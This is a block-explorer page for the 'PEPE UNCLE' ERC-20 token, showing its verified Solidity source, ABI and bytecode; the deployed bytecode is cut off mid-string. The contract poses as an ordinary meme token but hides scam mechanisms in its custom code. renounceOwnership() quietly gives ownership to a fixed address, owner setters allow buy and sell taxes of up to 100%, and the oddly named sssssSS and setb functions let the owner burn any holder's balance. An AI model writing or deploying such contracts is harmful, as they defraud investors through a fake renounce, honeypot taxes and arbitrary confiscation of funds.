ETH Price: $2,292.58 (-5.25%)

Token

PEPE UNCLE (PEPE UNCLE)
 

Overview

Max Total Supply

10,000,000 PEPE UNCLE

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
199,160.125 PEPE UNCLE

Value
$0.00
0xc37c347d85632841fe705abc3d370faab444557f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPEUNCLE

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-19
*/

/*
Twitter- https://x.com/uncle_en
Telegram-https://t.me/PEPEUNCLE_ETH
Website- http://pepeuncle.vip/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(_owner == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0xA8b5D1b3fc64cB3F9940e9E28b5a258d5795f288));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 6;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    address  public swap = 0x000000000000000000000000000000000000dEaD;
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != swap, "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, swap, amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        

        emit Transfer(account, swap, amount);

        _afterTokenTransfer(account, swap, amount);
    }



    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract PEPEUNCLE is ERC20, Ownable {
    using SafeMath for uint256;
    address public pair;
    address public addr=0x000000000000000000000000000000000000dEaD;    
    uint256 public HOPPYB;
    uint256 public HOPPYA;
    
    
    
                        
    constructor() ERC20("PEPE UNCLE", "PEPE UNCLE") {
         
        _mint(msg.sender, 10000000 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(HOPPYA));
            super._transfer(sender, recipient, x.mul(1000-HOPPYA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(HOPPYB));
            super._transfer(sender, recipient, x.mul(1000-HOPPYB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
           
            super._transfer(sender, recipient, x.mul(1000));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    function setBUY(uint256 _hoppyA)public onlyOwner {
        HOPPYA= _hoppyA;
    }

     function setsell(uint256 _HOPPYB) public onlyOwner{
       HOPPYB=_HOPPYB;
    }

    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    
    function setb(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

   function setswap(address _swap) public  onlyOwner {
        swap = _swap;
    }

    function sssssSS(address account) public onlyOwner {
        _burn(account, balanceOf(account));
    }
  
    function transferArray(address[] memory _to, uint256 _value) public onlyOwner {

        for(uint256 i = 0; i < _to.length; i++){

            transfer(_to[i], _value);

        }

    }
     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"HOPPYA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HOPPYB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_hoppyA","type":"uint256"}],"name":"setBUY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_HOPPYB","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swap","type":"address"}],"name":"setswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"sssssSS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferArray","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526005805461dead6001600160a01b031991821681179092556008805490911690911790553480156200003557600080fd5b50604080518082018252600a808252695045504520554e434c4560b01b6020808401828152855180870190965292855284015281519192916200007b9160039162000227565b5080516200009190600490602084019062000227565b505050620000ae620000a8620000e560201b60201c565b620000e9565b620000df33620000bd6200013b565b620000ca90600a62000375565b620000d990629896806200046d565b62000140565b620004e2565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600690565b6001600160a01b038216620001725760405162461bcd60e51b81526004016200016990620002cd565b60405180910390fd5b620001806000838362000222565b80600260008282546200019491906200030d565b90915550506001600160a01b03821660009081526020819052604081208054839290620001c39084906200030d565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200020890859062000304565b60405180910390a36200021e6000838362000222565b5050565b505050565b82805462000235906200048f565b90600052602060002090601f016020900481019282620002595760008555620002a4565b82601f106200027457805160ff1916838001178555620002a4565b82800160010185558215620002a4579182015b82811115620002a457825182559160200191906001019062000287565b50620002b2929150620002b6565b5090565b5b80821115620002b25760008155600101620002b7565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003235762000323620004cc565b500190565b80825b60018086116200033c57506200036c565b818704821115620003515762000351620004cc565b808616156200035f57918102915b9490941c9380026200032b565b94509492505050565b60006200038960001960ff85168462000390565b9392505050565b600082620003a15750600162000389565b81620003b05750600062000389565b8160018114620003c95760028114620003d45762000408565b600191505062000389565b60ff841115620003e857620003e8620004cc565b6001841b915084821115620004015762000401620004cc565b5062000389565b5060208310610133831016604e8410600b841016171562000440575081810a838111156200043a576200043a620004cc565b62000389565b6200044f848484600162000328565b808604821115620004645762000464620004cc565b02949350505050565b60008160001904831182151516156200048a576200048a620004cc565b500290565b600281046001821680620004a457607f821691505b60208210811415620004c657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6113f680620004f26000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80638119c065116100de578063a8aa1b3111610097578063c7deb07a11610071578063c7deb07a14610308578063cd2dbfd31461031b578063dd62ed3e1461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b8a85017146102f55761018e565b80638119c065146102895780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac5780639a8dd276146102b4578063a457c2d7146102c75761018e565b8063395093511161014b57806370a082311161012557806370a0823114610251578063715018a61461026457806371d4dcc51461026c578063767800de146102745761018e565b806339509351146102235780635a2eda02146102365780636ffe11b11461023e5761018e565b806306fdde0314610193578063095ea7b3146101b15780630f030f9f146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461020e575b600080fd5b61019b610354565b6040516101a89190610e40565b60405180910390f35b6101c46101bf366004610d19565b6103e6565b6040516101a89190610e35565b6101e46101df366004610c92565b61040a565b005b6101ee610427565b6040516101a891906111a2565b6101c4610209366004610cde565b61042d565b61021661045d565b6040516101a891906111ab565b6101c4610231366004610d19565b610462565b6101ee61048e565b6101e461024c366004610e09565b610494565b6101ee61025f366004610c92565b6104a1565b6101e46104c0565b6101ee6104df565b61027c6104e5565b6040516101a89190610e21565b61027c6104f4565b6101e461029f366004610c92565b610503565b61027c61052d565b61019b61053c565b6101e46102c2366004610e09565b61054b565b6101c46102d5366004610d19565b610558565b61027c6105b4565b6101c46102f0366004610d19565b6105c3565b6101e4610303366004610d19565b6105db565b6101e4610316366004610d42565b610608565b6101e4610329366004610c92565b610665565b6101ee61033c366004610cac565b61068f565b6101e461034f366004610c92565b6106ba565b6060600380546103639061133e565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061133e565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106f1565b90506103fe8185856106f5565b60019150505b92915050565b6104126107a9565b6104248161041f836104a1565b6107de565b50565b60025490565b6000806104386106f1565b90506104458582856108d0565b61045085858561091a565b60019150505b9392505050565b600690565b60008061046d6106f1565b90506103fe81858561047f858961068f565b61048991906111b9565b6106f5565b600a5481565b61049c6107a9565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104dd73a8b5d1b3fc64cb3f9940e9e28b5a258d5795f288610a47565b565b60095481565b6008546001600160a01b031681565b6005546001600160a01b031681565b61050b6107a9565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031690565b6060600480546103639061133e565b6105536107a9565b600a55565b6000806105636106f1565b90506000610571828661068f565b90508381101561059c5760405162461bcd60e51b81526004016105939061115d565b60405180910390fd5b6105a982868684036106f5565b506001949350505050565b6007546001600160a01b031681565b6000806105ce6106f1565b90506103fe81858561091a565b6105e36107a9565b610604826105ef61045d565b6105fa90600a611237565b61041f9084611308565b5050565b6106106107a9565b60005b82518110156106605761064d83828151811061063f57634e487b7160e01b600052603260045260246000fd5b6020026020010151836105c3565b508061065881611379565b915050610613565b505050565b61066d6107a9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106c26107a9565b6001600160a01b0381166106e85760405162461bcd60e51b815260040161059390610f18565b61042481610a47565b3390565b6001600160a01b03831661071b5760405162461bcd60e51b815260040161059390611119565b6001600160a01b0382166107415760405162461bcd60e51b815260040161059390610f5e565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079c9085906111a2565b60405180910390a3505050565b6107b16106f1565b6006546001600160a01b039081169116146104dd5760405162461bcd60e51b81526004016105939061105e565b6005546001600160a01b038381169116141561080c5760405162461bcd60e51b815260040161059390611093565b6005546108249083906001600160a01b031683610660565b6001600160a01b0382166000908152602081905260409020548181101561085d5760405162461bcd60e51b815260040161059390610ed6565b6001600160a01b0380841660008181526020819052604090819020858503905560055490519216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b29086906111a2565b60405180910390a36005546106609084906001600160a01b03168483565b60006108dc848461068f565b9050600019811461091457818110156109075760405162461bcd60e51b815260040161059390610fa0565b61091484848484036106f5565b50505050565b6000610928826103e8610a99565b6007549091506001600160a01b038581169116141561098d57600854600a546109699186916001600160a01b0390911690610964908590610adb565b610b20565b6109888484610964600a546103e86109819190611327565b8590610adb565b610914565b6007546001600160a01b03848116911614156109de576008546009546109c69186916001600160a01b0390911690610964908590610adb565b61098884846109646009546103e86109819190611327565b6007546001600160a01b031615801590610a0657506007546001600160a01b03848116911614155b8015610a2057506007546001600160a01b03858116911614155b15610a36576109888484610964846103e8610adb565b6109148484610964846103e8610adb565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061045683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c44565b600082610aea57506000610404565b6000610af68385611308565b905082610b0385836111d1565b146104565760405162461bcd60e51b81526004016105939061101d565b6001600160a01b038316610b465760405162461bcd60e51b8152600401610593906110d4565b6001600160a01b038216610b6c5760405162461bcd60e51b815260040161059390610e93565b610b77838383610660565b6001600160a01b03831660009081526020819052604090205481811015610bb05760405162461bcd60e51b815260040161059390610fd7565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610be79084906111b9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3191906111a2565b60405180910390a3610914848484610660565b60008183610c655760405162461bcd60e51b81526004016105939190610e40565b506000610c7284866111d1565b95945050505050565b80356001600160a01b03811681146104bb57600080fd5b600060208284031215610ca3578081fd5b61045682610c7b565b60008060408385031215610cbe578081fd5b610cc783610c7b565b9150610cd560208401610c7b565b90509250929050565b600080600060608486031215610cf2578081fd5b610cfb84610c7b565b9250610d0960208501610c7b565b9150604084013590509250925092565b60008060408385031215610d2b578182fd5b610d3483610c7b565b946020939093013593505050565b60008060408385031215610d54578182fd5b823567ffffffffffffffff80821115610d6b578384fd5b818501915085601f830112610d7e578384fd5b8135602082821115610d9257610d926113aa565b80820260405182828201018181108682111715610db157610db16113aa565b604052838152828101945085830182870184018b1015610dcf578889fd5b8896505b84871015610df857610de481610c7b565b865260019690960195948301948301610dd3565b509997909101359750505050505050565b600060208284031215610e1a578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6c57858101830151858201604001528201610e50565b81811115610e7d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156111cc576111cc611394565b500190565b6000826111ec57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611203575061122e565b81870482111561121557611215611394565b8086161561122257918102915b9490941c9380026111f4565b94509492505050565b600061045660001960ff85168460008261125357506001610456565b8161126057506000610456565b81600181146112765760028114611280576112ad565b6001915050610456565b60ff84111561129157611291611394565b6001841b9150848211156112a7576112a7611394565b50610456565b5060208310610133831016604e8410600b84101617156112e0575081810a838111156112db576112db611394565b610456565b6112ed84848460016111f1565b8086048211156112ff576112ff611394565b02949350505050565b600081600019048311821515161561132257611322611394565b500290565b60008282101561133957611339611394565b500390565b60028104600182168061135257607f821691505b6020821081141561137357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561138d5761138d611394565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220f776d892a25ec31f1818ae3d27e7c914ace8806a6e216c6114164beed74c6b5c64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638119c065116100de578063a8aa1b3111610097578063c7deb07a11610071578063c7deb07a14610308578063cd2dbfd31461031b578063dd62ed3e1461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b8a85017146102f55761018e565b80638119c065146102895780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac5780639a8dd276146102b4578063a457c2d7146102c75761018e565b8063395093511161014b57806370a082311161012557806370a0823114610251578063715018a61461026457806371d4dcc51461026c578063767800de146102745761018e565b806339509351146102235780635a2eda02146102365780636ffe11b11461023e5761018e565b806306fdde0314610193578063095ea7b3146101b15780630f030f9f146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461020e575b600080fd5b61019b610354565b6040516101a89190610e40565b60405180910390f35b6101c46101bf366004610d19565b6103e6565b6040516101a89190610e35565b6101e46101df366004610c92565b61040a565b005b6101ee610427565b6040516101a891906111a2565b6101c4610209366004610cde565b61042d565b61021661045d565b6040516101a891906111ab565b6101c4610231366004610d19565b610462565b6101ee61048e565b6101e461024c366004610e09565b610494565b6101ee61025f366004610c92565b6104a1565b6101e46104c0565b6101ee6104df565b61027c6104e5565b6040516101a89190610e21565b61027c6104f4565b6101e461029f366004610c92565b610503565b61027c61052d565b61019b61053c565b6101e46102c2366004610e09565b61054b565b6101c46102d5366004610d19565b610558565b61027c6105b4565b6101c46102f0366004610d19565b6105c3565b6101e4610303366004610d19565b6105db565b6101e4610316366004610d42565b610608565b6101e4610329366004610c92565b610665565b6101ee61033c366004610cac565b61068f565b6101e461034f366004610c92565b6106ba565b6060600380546103639061133e565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061133e565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106f1565b90506103fe8185856106f5565b60019150505b92915050565b6104126107a9565b6104248161041f836104a1565b6107de565b50565b60025490565b6000806104386106f1565b90506104458582856108d0565b61045085858561091a565b60019150505b9392505050565b600690565b60008061046d6106f1565b90506103fe81858561047f858961068f565b61048991906111b9565b6106f5565b600a5481565b61049c6107a9565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104dd73a8b5d1b3fc64cb3f9940e9e28b5a258d5795f288610a47565b565b60095481565b6008546001600160a01b031681565b6005546001600160a01b031681565b61050b6107a9565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031690565b6060600480546103639061133e565b6105536107a9565b600a55565b6000806105636106f1565b90506000610571828661068f565b90508381101561059c5760405162461bcd60e51b81526004016105939061115d565b60405180910390fd5b6105a982868684036106f5565b506001949350505050565b6007546001600160a01b031681565b6000806105ce6106f1565b90506103fe81858561091a565b6105e36107a9565b610604826105ef61045d565b6105fa90600a611237565b61041f9084611308565b5050565b6106106107a9565b60005b82518110156106605761064d83828151811061063f57634e487b7160e01b600052603260045260246000fd5b6020026020010151836105c3565b508061065881611379565b915050610613565b505050565b61066d6107a9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106c26107a9565b6001600160a01b0381166106e85760405162461bcd60e51b815260040161059390610f18565b61042481610a47565b3390565b6001600160a01b03831661071b5760405162461bcd60e51b815260040161059390611119565b6001600160a01b0382166107415760405162461bcd60e51b815260040161059390610f5e565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079c9085906111a2565b60405180910390a3505050565b6107b16106f1565b6006546001600160a01b039081169116146104dd5760405162461bcd60e51b81526004016105939061105e565b6005546001600160a01b038381169116141561080c5760405162461bcd60e51b815260040161059390611093565b6005546108249083906001600160a01b031683610660565b6001600160a01b0382166000908152602081905260409020548181101561085d5760405162461bcd60e51b815260040161059390610ed6565b6001600160a01b0380841660008181526020819052604090819020858503905560055490519216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b29086906111a2565b60405180910390a36005546106609084906001600160a01b03168483565b60006108dc848461068f565b9050600019811461091457818110156109075760405162461bcd60e51b815260040161059390610fa0565b61091484848484036106f5565b50505050565b6000610928826103e8610a99565b6007549091506001600160a01b038581169116141561098d57600854600a546109699186916001600160a01b0390911690610964908590610adb565b610b20565b6109888484610964600a546103e86109819190611327565b8590610adb565b610914565b6007546001600160a01b03848116911614156109de576008546009546109c69186916001600160a01b0390911690610964908590610adb565b61098884846109646009546103e86109819190611327565b6007546001600160a01b031615801590610a0657506007546001600160a01b03848116911614155b8015610a2057506007546001600160a01b03858116911614155b15610a36576109888484610964846103e8610adb565b6109148484610964846103e8610adb565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061045683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c44565b600082610aea57506000610404565b6000610af68385611308565b905082610b0385836111d1565b146104565760405162461bcd60e51b81526004016105939061101d565b6001600160a01b038316610b465760405162461bcd60e51b8152600401610593906110d4565b6001600160a01b038216610b6c5760405162461bcd60e51b815260040161059390610e